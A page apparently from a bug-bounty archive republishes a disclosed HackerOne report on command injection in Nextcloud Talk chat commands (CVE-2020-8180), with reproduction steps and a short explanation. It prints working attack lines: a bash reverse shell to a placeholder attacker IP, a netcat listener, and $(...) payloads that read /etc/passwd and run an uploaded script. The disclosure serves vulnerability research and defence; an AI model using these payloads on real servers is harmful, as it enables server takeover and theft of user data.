Skip to content
RCE Disclosed report Intermediate CVE-2020-8180

Code injection possible with malformed Nextcloud Talk chat commands

The Nextcloud Talk app passes user-supplied arguments to chat commands directly to a shell via @exec, allowing command substitution. An attacker with a non-admin account can execute arbitrary commands on the server, leading to a reverse shell and access to all user data.

covert-spectre Follow

Originally disclosed on HackerOne

High 8.0 View original
  • Triaged in 12 hours
  • Fixed in 4 days
  • Paid in 14 days
  • Disclosed after 47 days

Summary by the researcher

The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.

The report

Summary

The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.

Links

Severity

This bug has been filed with a severity of Critical inline with the bounty impact/definition chart and the Nextcloud Threat Model as the bug allows both remote code execution via a non-admin user as well as access of complete user data of any other user.

Affected Versions

All versions that support Talk Commands appear to be affected as the bug is in the @execute command. The following version were tested:

  • master-2020-04-15 via snap install nextcloud --edge, occ.status versionstring: 19.0.0 beta 2
  • 17.0.5snap1 via snap install nextcloud, occ.status versionstring: 17.0.5

Repro Steps

  1. Install and Setup Nextcloud

    1. create Ubuntu 18.04 VM
    2. install Nextcloud Server (Nextcloud Hub snap used for this test snap install nextcloud --edge)
    3. run install command: nextcloud.manual-install "admin" "password"
    4. generate self signed certificate nextcloud.enable-https self-signed
    5. set trusted domains nextcloud.occ config:system:set trusted_domains 1 --value=<domain/ip>
    6. create user alice
    7. install and enable spreed/talk app
    8. enable sample talk commands nextcloud.occ talk:command:add-samples
    9. add calculator command as described in the documentation here
  2. Setup C2 VM

    1. kali used for this test, can be any host with netcat nc
    2. run nc listener nc -l -p 8888
  3. Create Shell Script > shell.sh

    This script can be anything that gets executed and returns a shell In this case, a simple reverse shell is initiated using bash interactive piping to /dev/tcp A php web shell, meterpreter binary or any other executable could be uploaded here

    bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 &
    
  4. Log In As Alice and Upload File

    1. upload above shell.sh to root directory of alice's Nexcloud files
  5. With Alice, start a Talk Conversation

  6. Test Exploitability:

    Note, all commands appear to get successfully executed, however whether output is shown depends on the implementation of the backing script. For example, /wiki cannot show the results of cat /etc/passwd because the multiline output breaks the wiki script, but the calculator sample can show the output because it has an echo command in the scrpt.

    /wiki test $(id)
    /wiki test $(pwd)
    /wiki test $(ls -al .)
    /calc test $(cat /etc/passwd)
    /calc test $(ls -al ../)
    
  7. Execute Reverse Shell

    1. Locate uploaded shell script
      1. For nextcloud snap, the data directory is defined here
      2. File locations are fixed, therefore, once the root directory is known, it is easy to derive the location of the script
      3. Can use /calc test $(ls ../) to explore directory structure
    2. Enable execution of the script
    3. Execute the script
    /wiki test $(chmod +x /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)
    /wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)
    
  8. Observer C2 Listener for Connection

  9. Run Commands via C2

    id 
    pwd
    cd /var/snap/nextcloud/common/nextcloud/data/admin/files
    ls -al
    occ status
    

Attachments

See attached screenshots

Impact

  • Complete access to all user files
  • Shell access to occ
  • Shell access to host machine - root access if Nextcloud is running as root

Attachments

2._alice-files.png
2._alice-files.png From the original on HackerOne
1._install.png
1._install.png
3._output-ls.png
3._output-ls.png
4._output-passwd.png
4._output-passwd.png
5._reverse-shell.png
5._reverse-shell.png

The original report as published on HackerOne, by covert-spectre. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the ShellExecutor passes user-supplied arguments directly to a shell command without escaping, allowing command substitution.

Impact

An attacker can execute arbitrary commands, gain a reverse shell, access all user files, and potentially obtain root access if Nextcloud runs as root.

What the attacker needed

Nextcloud with Talk app; Talk commands configured; A non-admin user account

How it was found

  1. Install and set up Nextcloud, create a user, enable the Talk app and sample commands, and add a calculator command.
  2. Set up a listener on a separate machine to catch a reverse shell.
  3. Create a shell script that initiates a reverse shell and upload it to the user's files.
  4. Log in as the user and start a Talk conversation.
  5. Test command execution by sending chat commands with command substitution.
  6. Locate the uploaded script, make it executable, and run it to get a reverse shell.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Chat commands in Nextcloud Talk let users type things like /calc 1+1, and the server runs a script to produce the answer. The bug is that the server puts whatever the user types straight into a system command without cleaning it, so special characters can make the server run extra commands. This means a normal user can take control of the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.